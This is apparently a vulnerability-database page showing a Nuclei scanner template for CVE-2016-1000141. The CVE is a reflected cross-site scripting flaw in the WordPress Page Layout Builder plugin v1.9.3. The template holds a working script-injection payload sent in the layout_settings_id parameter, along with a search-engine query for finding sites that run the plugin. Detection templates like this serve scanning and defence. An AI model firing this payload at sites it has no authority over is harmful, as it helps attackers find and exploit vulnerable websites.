WordPress Page Layout builder v1.9.3 - Cross-Site Scripting

ID: CVE-2016-1000141

Severity: medium

Author: daffainfo

Tags: cve,cve2016,wordpress,xss,wp-plugin,page-layout-builder_project

Description

WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability.

YAML Source

id: CVE-2016-1000141

info:
  name: WordPress Page Layout builder v1.9.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Upgrade to version 2.0 or higher.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=358
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000141
    - https://wordpress.org/plugins/page-layout-builder
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000141
    cwe-id: CWE-79
    epss-score: 0.00142
    epss-percentile: 0.4984
    cpe: cpe:2.3:a:page-layout-builder_project:page-layout-builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "page-layout-builder_project"
    product: "page-layout-builder"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/page-layout-builder\""
  tags: cve,cve2016,wordpress,xss,wp-plugin,page-layout-builder_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/page-layout-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Page Layout Builder ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220647788c8486736c8294eaa831b2639050595c5af680fc00e6ad8c7ebe0a36af9022100c3d1d08b3a09393982bdb350af37659703bdf868b6c39b0a72a981fc437c816f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000141.yaml"

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